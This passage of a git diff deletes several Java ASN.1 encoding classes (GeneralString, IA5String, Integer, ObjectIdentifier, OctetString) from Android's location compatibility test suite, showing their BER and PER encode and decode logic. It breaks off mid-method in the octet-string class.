diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1GeneralString.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1GeneralString.java
deleted file mode 100644
index 29b874b..0000000
--- a/tests/tests/location/src/android/location/cts/asn1/base/Asn1GeneralString.java
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.asn1.base;
-
-import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
-
-import com.google.common.base.Preconditions;
-import com.google.common.collect.ImmutableList;
-
-import java.nio.ByteBuffer;
-import java.util.Collection;
-
-/**
- * A general string is any ISO 646 related 8-bit encoding, presumably agreed on
- *
- * Implements ASN.1 functionality.
- *
- */
-public class Asn1GeneralString extends Asn1Object {
- private static final Collection<Asn1Tag> possibleFirstTags =
- ImmutableList.of(Asn1Tag.GENERAL_STRING);
-
- private byte[] value;
- private int minimumSize = 0;
- private Integer maximumSize = null; // Null == unconstrained.
-
- public static Collection<Asn1Tag> getPossibleFirstTags() {
- return possibleFirstTags;
- }
-
- @Override Asn1Tag getDefaultTag() {
- return Asn1Tag.GENERAL_STRING;
- }
-
- @Override int getBerValueLength() {
- throw new UnsupportedOperationException();
- }
-
- @Override void encodeBerValue(ByteBuffer buf) {
- throw new UnsupportedOperationException();
- }
-
- @Override void decodeBerValue(ByteBuffer buf) {
- throw new UnsupportedOperationException();
- }
-
- protected void setMinSize(int min) {
- minimumSize = min;
- }
-
- protected void setMaxSize(int max) {
- maximumSize = max;
- }
-
- public byte[] getValue() {
- return value;
- }
-
- public void setValue(byte[] value) {
- this.value = value;
- }
-
- private Iterable<BitStream> encodePerImpl(boolean aligned) {
- Preconditions.checkNotNull(value, "No value set.");
- Preconditions.checkState(value.length >= minimumSize, "Value too short.");
- Preconditions.checkState(maximumSize == null || value.length <= maximumSize,
- "Value too long.");
- int characterBitCount = 8;
- if (maximumSize == null) {
- throw new UnsupportedOperationException("unconstrained unimplemented");
- }
-
- BitStream result = new BitStream();
- for (byte b : value) {
- result.appendByte(b);
- }
- if (aligned && maximumSize * characterBitCount > 16) {
- result.setBeginByteAligned();
- }
-
- if (minimumSize == maximumSize
- && maximumSize < SIXTYFOUR_K) {
- return ImmutableList.of(result);
- }
-
- if (maximumSize >= SIXTYFOUR_K) {
- throw new UnsupportedOperationException("large string unimplemented");
- }
-
- // A little oddity when maximumSize != minimumSize.
- if (aligned && maximumSize * characterBitCount == 16) {
- result.setBeginByteAligned();
- }
-
- // Must be preceded by a count. The count and the bit field may be
- // independently aligned.
- BitStream count = null;
- if (aligned) {
- count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
- value.length, minimumSize, maximumSize);
- } else {
- count = PerUnalignedUtils.encodeConstrainedWholeNumber(
- value.length, minimumSize, maximumSize);
- }
- return ImmutableList.of(count, result);
- }
-
- @Override public Iterable<BitStream> encodePerUnaligned() {
- return encodePerImpl(false);
- }
-
- @Override public Iterable<BitStream> encodePerAligned() {
- return encodePerImpl(true);
- }
-
- private void decodePerImpl(BitStreamReader reader, boolean aligned) {
- int characterBitCount = 8;
- if (maximumSize == null) {
- throw new UnsupportedOperationException("unconstrained unimplemented");
- }
-
- if (minimumSize == maximumSize
- && maximumSize < SIXTYFOUR_K) {
- if (aligned && maximumSize * characterBitCount > 16) {
- reader.spoolToByteBoundary();
- }
- value = new byte[maximumSize];
- for (int i = 0; i < maximumSize; i++) {
- value[i] = reader.readByte();
- }
- return;
- }
-
- if (maximumSize >= SIXTYFOUR_K) {
- throw new UnsupportedOperationException("large string unimplemented");
- }
-
- // Value is preceded by a count.
- int count = 0;
- if (aligned) {
- count = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
- reader, minimumSize, maximumSize);
- } else {
- count = PerUnalignedUtils.decodeConstrainedWholeNumber(
- reader, minimumSize, maximumSize);
- }
-
- if (aligned && maximumSize * characterBitCount >= 16) {
- reader.spoolToByteBoundary();
- }
-
- value = new byte[count];
- for (int i = 0; i < count; i++) {
- value[i] = reader.readByte();
- }
- }
-
- @Override public void decodePerUnaligned(BitStreamReader reader) {
- decodePerImpl(reader, false);
- }
-
- @Override public void decodePerAligned(BitStreamReader reader) {
- decodePerImpl(reader, true);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1IA5String.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1IA5String.java
deleted file mode 100644
index 0c2da9c..0000000
--- a/tests/tests/location/src/android/location/cts/asn1/base/Asn1IA5String.java
+++ /dev/null
@@ -1,340 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.asn1.base;
-
-import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
-
-import com.google.common.base.Preconditions;
-import com.google.common.collect.ImmutableList;
-
-import java.nio.ByteBuffer;
-import java.nio.CharBuffer;
-import java.nio.charset.CharacterCodingException;
-import java.nio.charset.Charset;
-import java.nio.charset.CharsetDecoder;
-import java.nio.charset.CharsetEncoder;
-import java.nio.charset.CoderResult;
-import java.nio.charset.StandardCharsets;
-import java.util.Arrays;
-import java.util.Collection;
-
-/**
- * Represents strings in 7-bit US ASCII (actually pages 1 and 6 of ISO
- * International Register of Coded Character Sets plus SPACE and DELETE).
- *
- * Implements ASN.1 functionality.
- *
- */
-public class Asn1IA5String extends Asn1Object {
- private static final Collection<Asn1Tag> possibleFirstTags =
- ImmutableList.of(Asn1Tag.IA5_STRING);
-
- private String alphabet = null;
- private byte largestCanonicalValue = 127;
- private String value;
- private int minimumSize = 0;
- private Integer maximumSize = null; // Null == unconstrained.
-
- public static Collection<Asn1Tag> getPossibleFirstTags() {
- return possibleFirstTags;
- }
-
- @Override Asn1Tag getDefaultTag() {
- return Asn1Tag.IA5_STRING;
- }
-
- @Override int getBerValueLength() {
- Preconditions.checkNotNull(value, "No value set.");
- return value.length();
- }
-
- @Override void encodeBerValue(ByteBuffer buf) {
- Preconditions.checkNotNull(value, "No value set.");
- buf.put(value.getBytes(StandardCharsets.US_ASCII));
- }
-
- @Override void decodeBerValue(ByteBuffer buf) {
- setValue(new String(getRemaining(buf), StandardCharsets.US_ASCII));
- }
-
- protected void setAlphabet(String alphabet) {
- Preconditions.checkNotNull(alphabet);
- Preconditions.checkArgument(alphabet.length() > 0, "Empty alphabet");
- try {
- ByteBuffer buffer = StandardCharsets.US_ASCII.newEncoder().encode(CharBuffer.wrap(alphabet));
- byte[] canonicalValues = buffer.array();
- Arrays.sort(canonicalValues);
- largestCanonicalValue = canonicalValues[canonicalValues.length - 1];
- this.alphabet = new String(canonicalValues, StandardCharsets.US_ASCII);
- } catch (CharacterCodingException e) {
- throw new IllegalArgumentException("Invalid alphabet " + alphabet, e);
- }
- }
-
- protected void setMinSize(int min) {
- minimumSize = min;
- }
-
- protected void setMaxSize(int max) {
- maximumSize = max;
- }
-
- public String getValue() {
- return value;
- }
-
- public void setValue(String value) {
- Preconditions.checkArgument(value.length() >= minimumSize,
- "Value too short.");
- Preconditions.checkArgument(maximumSize == null
- || value.length() <= maximumSize,
- "Value too long.");
- try {
- Charset charset = (alphabet != null) ? new RestrictedCharset() : StandardCharsets.US_ASCII;
- charset.newEncoder().encode(CharBuffer.wrap(value));
- this.value = value;
- } catch (CharacterCodingException e) {
- throw new IllegalArgumentException("Illegal value '" + value + "'", e);
- }
- }
-
- private Iterable<BitStream> encodePerImpl(boolean aligned) {
- Preconditions.checkNotNull(value, "No value set.");
-
- int characterBitCount = calculateBitsPerCharacter(aligned);
-
- // Use real character values if they fit.
- boolean recodeValues = largestCanonicalValue >= (1 << characterBitCount);
-
- // In aligned case, pad unless result size is known to be 16 bits or less [X.691-0207, 27.5.6-7]
- BitStream result = encodeValueCharacters(characterBitCount, recodeValues);
- if (aligned && (maximumSize == null || maximumSize * characterBitCount > 16)) {
- result.setBeginByteAligned();
- }
-
- if (maximumSize != null) {
- if (minimumSize == maximumSize && maximumSize < SIXTYFOUR_K) {
- return ImmutableList.of(result);
- }
-
- if (maximumSize >= SIXTYFOUR_K) {
- throw new UnsupportedOperationException("large string unimplemented");
- }
-
- // A little oddity when maximumSize != minimumSize [X.691-0207, 27.5.7].
- if (aligned && maximumSize * characterBitCount == 16) {
- result.setBeginByteAligned();
- }
- }
-
- // Must be preceded by a count. The count and the bit field may be independently aligned.
- BitStream count = null;
- if (maximumSize == null) {
- count = aligned
- ? PerAlignedUtils.encodeSemiConstrainedLength(value.length())
- : PerUnalignedUtils.encodeSemiConstrainedLength(value.length());
- } else {
- if (aligned) {
- count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
- value.length(), minimumSize, maximumSize);
- } else {
- count = PerUnalignedUtils.encodeConstrainedWholeNumber(
- value.length(), minimumSize, maximumSize);
- }
- }
- return ImmutableList.of(count, result);
- }
-
- @Override public Iterable<BitStream> encodePerUnaligned() {
- return encodePerImpl(false);
- }
-
- @Override public Iterable<BitStream> encodePerAligned() {
- return encodePerImpl(true);
- }
-
- private BitStream encodeValueCharacters(int characterBitCount,
- boolean recodeValues) {
- BitStream result = new BitStream();
- try {
- Charset charset = recodeValues ? new RestrictedCharset() : StandardCharsets.US_ASCII;
- ByteBuffer buffer = charset.newEncoder().encode(CharBuffer.wrap(value));
- while (buffer.hasRemaining()) {
- byte b = buffer.get();
- if (characterBitCount == 8) {
- result.appendByte(b);
- } else {
- result.appendLowBits(characterBitCount, b);
- }
- }
- } catch (CharacterCodingException e) {
- throw new IllegalStateException("Invalid value", e);
- }
- return result;
- }
-
- private int calculateBitsPerCharacter(boolean aligned) {
- // must be power of 2 in aligned version.
- int characterBitCount = aligned ? 8 : 7;
- if (alphabet != null) {
- for (int i = 1; i < characterBitCount; i += aligned ? i : 1) {
- if (1 << i >= alphabet.length()) {
- characterBitCount = i;
- break;
- }
- }
- }
- return characterBitCount;
- }
-
- private void decodePerImpl(BitStreamReader reader, boolean aligned) {
-
- int characterBitCount = calculateBitsPerCharacter(aligned);
-
- // Use real character values if they fit.
- boolean recodeValues = largestCanonicalValue >= (1 << characterBitCount);
-
- if (maximumSize != null && minimumSize == maximumSize && maximumSize < SIXTYFOUR_K) {
- if (aligned && maximumSize * characterBitCount > 16) {
- reader.spoolToByteBoundary();
- }
- decodeValueCharacters(reader, maximumSize,
- characterBitCount, recodeValues);
- return;
- }
-
- if (maximumSize != null && maximumSize >= SIXTYFOUR_K) {
- throw new UnsupportedOperationException("large string unimplemented");
- }
-
- int count = 0;
- if (maximumSize == null) {
- count = aligned
- ? PerAlignedUtils.decodeSemiConstrainedLength(reader)
- : PerUnalignedUtils.decodeSemiConstrainedLength(reader);
- } else {
- if (aligned) {
- count = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
- reader, minimumSize, maximumSize);
- } else {
- count = PerUnalignedUtils.decodeConstrainedWholeNumber(
- reader, minimumSize, maximumSize);
- }
- }
-
- if (aligned && (maximumSize == null || maximumSize * characterBitCount >= 16)) {
- reader.spoolToByteBoundary();
- }
- decodeValueCharacters(reader, count,
- characterBitCount, recodeValues);
- }
-
- @Override public void decodePerUnaligned(BitStreamReader reader) {
- decodePerImpl(reader, false);
- }
-
- @Override public void decodePerAligned(BitStreamReader reader) {
- decodePerImpl(reader, true);
- }
-
- private void decodeValueCharacters(BitStreamReader reader, int count,
- int characterBitCount,
- boolean recodeValues) {
- ByteBuffer exploded = ByteBuffer.allocate(count);
- for (int i = 0; i < count; i++) {
- if (characterBitCount == 8) {
- exploded.put(reader.readByte());
- } else {
- exploded.put((byte) reader.readLowBits(characterBitCount));
- }
- }
- exploded.flip();
- Charset charset = recodeValues ? new RestrictedCharset() : StandardCharsets.US_ASCII;
- try {
- CharBuffer valueCharacters = charset.newDecoder().decode(exploded);
- value = valueCharacters.toString();
- } catch (CharacterCodingException e) {
- throw new IllegalStateException("Invalid character", e);
- }
- }
-
- private class RestrictedCharset extends Charset {
- RestrictedCharset() {
- super("Restricted_IA5", new String[0]);
- }
-
- @Override
- public boolean contains(Charset cs) {
- return false;
- }
-
- @Override
- public CharsetDecoder newDecoder() {
- return new RestrictedCharsetDecoder(this);
- }
-
- @Override
- public CharsetEncoder newEncoder() {
- return new RestrictedCharsetEncoder(this);
- }
- }
-
- private class RestrictedCharsetEncoder extends CharsetEncoder {
- RestrictedCharsetEncoder(RestrictedCharset restrictedCharset) {
- super(restrictedCharset, 1, 1, new byte[] {0});
- }
-
- @Override
- protected CoderResult encodeLoop(CharBuffer in, ByteBuffer out) {
- while (in.hasRemaining() && out.hasRemaining()) {
- char c = in.get();
- int encodedValue = alphabet.indexOf(c);
- if (encodedValue < 0) {
- return CoderResult.unmappableForLength(1);
- }
- out.put((byte) encodedValue);
- }
- if (in.hasRemaining()) {
- return CoderResult.OVERFLOW;
- }
- return CoderResult.UNDERFLOW;
- }
- }
-
- private class RestrictedCharsetDecoder extends CharsetDecoder {
- RestrictedCharsetDecoder(RestrictedCharset restrictedCharset) {
- super(restrictedCharset, 1, 1);
- }
-
- @Override
- protected CoderResult decodeLoop(ByteBuffer in, CharBuffer out) {
- while (in.hasRemaining() && out.hasRemaining()) {
- byte b = in.get();
- int position = b & 0xFF;
- if (position >= alphabet.length()) {
- return CoderResult.unmappableForLength(1);
- }
- char decodedValue = alphabet.charAt(position);
- out.put(decodedValue);
- }
- if (in.hasRemaining()) {
- return CoderResult.OVERFLOW;
- }
- return CoderResult.UNDERFLOW;
- }
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Integer.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Integer.java
deleted file mode 100644
index 9b29c98..0000000
--- a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Integer.java
+++ /dev/null
@@ -1,220 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.asn1.base;
-
-import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
-
-import com.google.common.base.Preconditions;
-import com.google.common.collect.ImmutableList;
-
-import java.math.BigInteger;
-import java.nio.ByteBuffer;
-import java.util.Collection;
-
-import javax.annotation.Nullable;
-
-/**
- * Implements ASN.1 functionality.
- *
- */
-public class Asn1Integer extends Asn1Object {
- private static final Collection<Asn1Tag> possibleFirstTags =
- ImmutableList.of(Asn1Tag.INTEGER);
-
- private BigInteger minimumValue = null; // null == unbounded.
- private BigInteger maximumValue = null; // null == unbounded.
- private BigInteger value;
-
- public static Collection<Asn1Tag> getPossibleFirstTags() {
- return possibleFirstTags;
- }
-
- @Override Asn1Tag getDefaultTag() {
- return Asn1Tag.INTEGER;
- }
-
- /**
- * Sets the allowed range of values. A null for either parameter means that
- * the value is unbounded in that direction.
- */
- protected void setValueRange(@Nullable String minimum,
- @Nullable String maximum) {
- minimumValue = minimum == null ? null : new BigInteger(minimum);
- maximumValue = maximum == null ? null : new BigInteger(maximum);
- }
-
- private Iterable<BitStream> encodeNormalizedIntegerWithRangeAligned(
- BigInteger normalizedValue, BigInteger range) {
- if (range.compareTo(BigInteger.valueOf(SIXTYFOUR_K)) < 0) {
- BitStream result = PerAlignedUtils.encodeNormalizedSmallConstrainedWholeNumber(
- normalizedValue.intValue(), range.intValue());
- return ImmutableList.of(result);
- } else {
- return PerAlignedUtils.encodeConstrainedLengthOfBytes(
- PerAlignedUtils.encodeBigNonNegativeWholeNumber(normalizedValue),
- 1,
- PerAlignedUtils.encodeBigNonNegativeWholeNumber(range).length);
- }
- }
-
- private Iterable<BitStream> encodeNormalizedIntegerWithRangeUnaligned(
- BigInteger normalizedValue, BigInteger range) {
- BitStream result = PerUnalignedUtils.encodeNormalizedConstrainedWholeNumber(
- normalizedValue.longValue(), range.longValue());
- return ImmutableList.of(result);
- }
-
- private void validateValue() {
- Preconditions.checkNotNull(value, "No value set.");
- Preconditions.checkState(
- minimumValue == null || value.compareTo(minimumValue) >= 0,
- "Too small value %s", value);
- Preconditions.checkState(
- maximumValue == null || value.compareTo(maximumValue) <= 0,
- "Too large value %s", value);
- }
-
- @Override int getBerValueLength() {
- if (value.equals(BigInteger.ZERO)) {
- // BER requires 0 be encoded with one or more zero octets
- return 1;
- } else {
- return (value.bitLength() >> 3) + 1;
- }
- }
-
- @Override void encodeBerValue(ByteBuffer buf) {
- if (value.equals(BigInteger.ZERO)) {
- buf.put((byte) 0);
- } else {
- buf.put(value.toByteArray());
- }
- }
-
- @Override void decodeBerValue(ByteBuffer buf) {
- value = new BigInteger(getRemaining(buf));
- }
-
- private Iterable<BitStream> encodePerImpl(boolean aligned) {
- validateValue();
- if (maximumValue != null && minimumValue != null) {
- // Encodes a constrained whole numbers according to X.691-0207, 10.5.
- BigInteger normalizedValue = value.subtract(minimumValue);
- BigInteger range = maximumValue.subtract(minimumValue);
- return aligned
- ? encodeNormalizedIntegerWithRangeAligned(normalizedValue, range)
- : encodeNormalizedIntegerWithRangeUnaligned(normalizedValue, range);
- } else if (minimumValue != null) {
- // Encodes a semi-constrained whole numbers according to X.691-0207, 10.7.
- return aligned
- ? PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(
- PerAlignedUtils.encodeBigNonNegativeWholeNumber(value.subtract(minimumValue)))
- : PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(
- PerUnalignedUtils.encodeBigNonNegativeWholeNumber(value.subtract(minimumValue)));
- } else {
- // Encodes an unconstrained whole number according to X.691-0207, 10.8.
- return aligned
- ? PerAlignedUtils.encodeUnconstrainedLengthOfBytes(value.toByteArray())
- : PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(value.toByteArray());
- }
- }
-
- @Override public Iterable<BitStream> encodePerUnaligned() {
- return encodePerImpl(false);
- }
-
- @Override public Iterable<BitStream> encodePerAligned() {
- return encodePerImpl(true);
- }
-
- public void setInteger(BigInteger value) {
- this.value = value;
- }
-
- public void setInteger(BigInteger value, boolean validateValue) {
- this.value = value;
- if (validateValue) {
- validateValue();
- }
- }
-
- public BigInteger getInteger() {
- return value;
- }
-
- private BigInteger decodeNormalizedIntegerWithRangeAligned(
- BitStreamReader reader, BigInteger range) {
- if (range.compareTo(BigInteger.valueOf(SIXTYFOUR_K)) < 0) {
- int normalizedIntValue = PerAlignedUtils.decodeNormalizedSmallConstrainedWholeNumber(
- reader, range.intValue());
- return BigInteger.valueOf(normalizedIntValue);
- } else {
- return PerAlignedUtils.decodeBigNonNegativeWholeNumber(
- PerAlignedUtils.decodeConstrainedLengthOfBytes(
- reader, 1,
- PerAlignedUtils.encodeBigNonNegativeWholeNumber(range).length));
- }
- }
-
- private BigInteger decodeNormalizedIntegerWithRangeUnaligned(
- BitStreamReader reader, BigInteger range) {
- long normalizedIntValue =
- PerUnalignedUtils.decodeNormalizedConstrainedWholeNumber(
- reader, range.longValue());
- return BigInteger.valueOf(normalizedIntValue);
- }
-
- private void decodePerImpl(BitStreamReader reader, boolean aligned) {
- if (maximumValue != null && minimumValue != null) {
- // Decodes a constrained whole numbers according to X.691-0207, 10.5.
- BigInteger range = maximumValue.subtract(minimumValue);
- BigInteger normalizedValue = aligned
- ? decodeNormalizedIntegerWithRangeAligned(reader, range)
- : decodeNormalizedIntegerWithRangeUnaligned(reader, range);
- value = minimumValue.add(normalizedValue);
- } else if (minimumValue != null) {
- // Decodes a semi-constrained whole numbers according to X.691-0207, 10.7.
- byte[] intBytes = aligned
- ? PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader)
- : PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
- value = new BigInteger(convertPositiveToSigned(intBytes)).add(minimumValue);
- } else {
- // Decodes an unconstrained whole number according to X.691-0207, 10.8.
- value = new BigInteger(aligned
- ? PerAlignedUtils.decodeUnconstrainedLengthOfBytes(reader)
- : PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader));
- }
- }
-
- private byte[] convertPositiveToSigned(byte[] rawData) {
- if ((rawData[0] & 0x80) != 0) {
- byte[] data = new byte[rawData.length + 1];
- System.arraycopy(rawData, 0, data, 1, rawData.length);
- return data;
- } else {
- return rawData;
- }
- }
-
- @Override public void decodePerUnaligned(BitStreamReader reader) {
- decodePerImpl(reader, false);
- }
-
- @Override public void decodePerAligned(BitStreamReader reader) {
- decodePerImpl(reader, true);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1ObjectIdentifier.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1ObjectIdentifier.java
deleted file mode 100644
index 946b9a4..0000000
--- a/tests/tests/location/src/android/location/cts/asn1/base/Asn1ObjectIdentifier.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.asn1.base;
-
-import com.google.common.base.Preconditions;
-import com.google.common.collect.ImmutableList;
-import com.google.common.collect.Lists;
-
-import java.nio.ByteBuffer;
-import java.util.Collection;
-import java.util.Iterator;
-import java.util.List;
-
-/**
- * Object identifiers are similar in concept to URIs (indeed
- * urn:oid:0.0.8.245.0.13 is the OID URI for "itu-t(0) recommendation(0) h(8)
- * 245 version(0) 13"). See, for example, http://www.alvestrand.no/objectid/ and
- * http://www.oid-info.com/
- *
- * Implements ASN.1 functionality.
- *
- */
-public class Asn1ObjectIdentifier extends Asn1Object {
- private static final Collection<Asn1Tag> possibleFirstTags =
- ImmutableList.of(Asn1Tag.OBJECT_IDENTIFIER);
-
- private List<Integer> value;
-
- public static Collection<Asn1Tag> getPossibleFirstTags() {
- return possibleFirstTags;
- }
-
- @Override Asn1Tag getDefaultTag() {
- return Asn1Tag.OBJECT_IDENTIFIER;
- }
-
- @Override int getBerValueLength() {
- byte[] ber = encodeBerInternal();
- return ber.length;
- }
-
- @Override void encodeBerValue(ByteBuffer buf) {
- buf.put(encodeBerInternal());
- }
-
- @Override void decodeBerValue(ByteBuffer buf) {
- decodeBerInternal(getRemaining(buf));
- }
-
- public List<Integer> getValue() {
- return value;
- }
-
- public void setValue(List<Integer> value) {
- this.value = value;
- }
-
- private byte[] encodeBerInternal() {
- Preconditions.checkNotNull(value);
- // Encode according to BER.
- BitStream basicEncoding = new BitStream();
- Iterator<Integer> valueIterator = value.iterator();
- int firstComponent = valueIterator.next() * 40 + valueIterator.next();
- encodeComponent(basicEncoding, firstComponent, false);
- while (valueIterator.hasNext()) {
- encodeComponent(basicEncoding, valueIterator.next(), false);
- }
- return basicEncoding.getPaddedBytes();
- }
-
- @Override public Iterable<BitStream> encodePerUnaligned() {
- // Stuff it according to PER. Strange, less packed (but faster to ignore).
- return PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(encodeBerInternal());
- }
-
- @Override public Iterable<BitStream> encodePerAligned() {
- // Stuff it according to PER. Strange, less packed (but faster to ignore).
- return PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(encodeBerInternal());
- }
-
- private void encodeComponent(BitStream basicEncoding,
- int component,
- boolean hasSuffix) {
- if (component > 0x7F) {
- encodeComponent(basicEncoding, component >>> 7, true);
- }
- basicEncoding.appendBit(hasSuffix);
- basicEncoding.appendLowBits(7, (byte) (component & 0x7F));
- }
-
- @Override public void decodePerUnaligned(BitStreamReader reader) {
- byte[] basicEncoding = PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
- decodeBerInternal(basicEncoding);
- }
-
- @Override public void decodePerAligned(BitStreamReader reader) {
- byte[] basicEncoding = PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
- decodeBerInternal(basicEncoding);
- }
-
- private void decodeBerInternal(byte[] encodedBytes) {
- List<Integer> components = Lists.newLinkedList();
- int currentComponent = 0;
- for (int i = 0; i < encodedBytes.length; i++) {
- boolean completesComponent = ((encodedBytes[i] & 0x80) == 0);
- int componentPart = encodedBytes[i] & 0x7F;
- currentComponent = (currentComponent << 7) + componentPart;
- if (completesComponent) {
- if (components.isEmpty()) {
- int firstComponent = currentComponent / 40;
- int secondComponent = currentComponent % 40;
- components.add(firstComponent);
- components.add(secondComponent);
- } else {
- components.add(currentComponent);
- }
- currentComponent = 0;
- }
- }
- value = ImmutableList.copyOf(components);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1OctetString.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1OctetString.java
deleted file mode 100644
index c47f739..0000000
--- a/tests/tests/location/src/android/location/cts/asn1/base/Asn1OctetString.java
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.asn1.base;
-
-import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
-
-import com.google.common.base.Preconditions;
-import com.google.common.collect.ImmutableList;
-import com.google.common.io.BaseEncoding;
-
-import java.nio.ByteBuffer;
-import java.util.Collection;
-
-/**
- * Implements ASN.1 functionality.
- *
- */
-public class Asn1OctetString extends Asn1Object {
- private static final BaseEncoding HEX = BaseEncoding.base16();
- private static final Collection<Asn1Tag> possibleFirstTags =
- ImmutableList.of(Asn1Tag.OCTET_STRING);
-
- private int minimumSize = 0;
- private Integer maximumSize = null; // null == unbounded.
- private byte[] value;
-
- public static Collection<Asn1Tag> getPossibleFirstTags() {
- return possibleFirstTags;
- }
-
- protected void setMinSize(int min) {
- minimumSize = min;
- }
-
- protected void setMaxSize(int max) {
- maximumSize = max;
- }
-
- public byte[] getValue() {
- return value;
- }
-
- public void setValue(byte[] value) {
- this.value = value;
- }
-
- @Override Asn1Tag getDefaultTag() {
- return Asn1Tag.OCTET_STRING;
- }
-
- @Override int getBerValueLength() {
- Preconditions.checkNotNull(value, "No value set.");
- return value.length;
- }
-
- @Override void encodeBerValue(ByteBuffer buf) {
- Preconditions.checkNotNull(value, "No value set.");
- buf.put(value);
- }
-
- @Override void decodeBerValue(ByteBuffer buf) {
- value = getRemaining(buf);
- }
-
- private Iterable<BitStream> encodePerImpl(boolean aligned) {
- Preconditions.checkNotNull(value, "No value set.");
- Preconditions.checkState(
- maximumSize == null || value.length <= maximumSize, "Too large %s",
- value.length);
- if (maximumSize == null) {
- if (aligned) {
- return PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(value);
- } else {
- return PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(value);
- }
- } else if (minimumSize == maximumSize) {
- if (maximumSize == 0) {
- return ImmutableList.of();
- }
- if (maximumSize < SIXTYFOUR_K) {
- BitStream result = new BitStream();
- for (int i = 0; i < maximumSize; i++) {
- result.appendByte(value[i]);
- }
- if (aligned && maximumSize > 2) {
- result.setBeginByteAligned();
- }
- return ImmutableList.of(result);
- }
- }
- if (aligned) {
- return PerAlignedUtils.encodeConstrainedLengthOfBytes(
- value, minimumSize, maximumSize);
- } else {
- return PerUnalignedUtils.encodeConstrainedLengthOfBytes(
- value, minimumSize, maximumSize);
- }
- }
-
- @Override public Iterable<BitStream> encodePerUnaligned() {
- return encodePerImpl(false);
- }
-
- @Override public Iterable<BitStream> encodePerAligned() {
- return encodePerImpl(true);
- }
-
- private void decodePerImpl(BitStreamReader reader, boolean aligned) {
- if (maximumSize == null) {
- if (aligned) {
- value = PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
- } else {
- value = PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
- }
- return;
- } else if (minimumSize == maximumSize) {
- value = new byte[maximumSize];
- if (maximumSize == 0) {
- return;
- }
- if (maximumSize < SIXTYFOUR_K) {
- if (aligned && maximumSize > 2) {
- reader.spoolToByteBoundary();
- }
- for (int i = 0; i < maximumSize; i++) {
- value[i] = reader.readByte();
- }
- return;
- }
- }
- if (aligned) {
- value = PerAlignedUtils.decodeConstrainedLengthOfBytes(
- reader, minimumSize, maximumSize);
- } else {
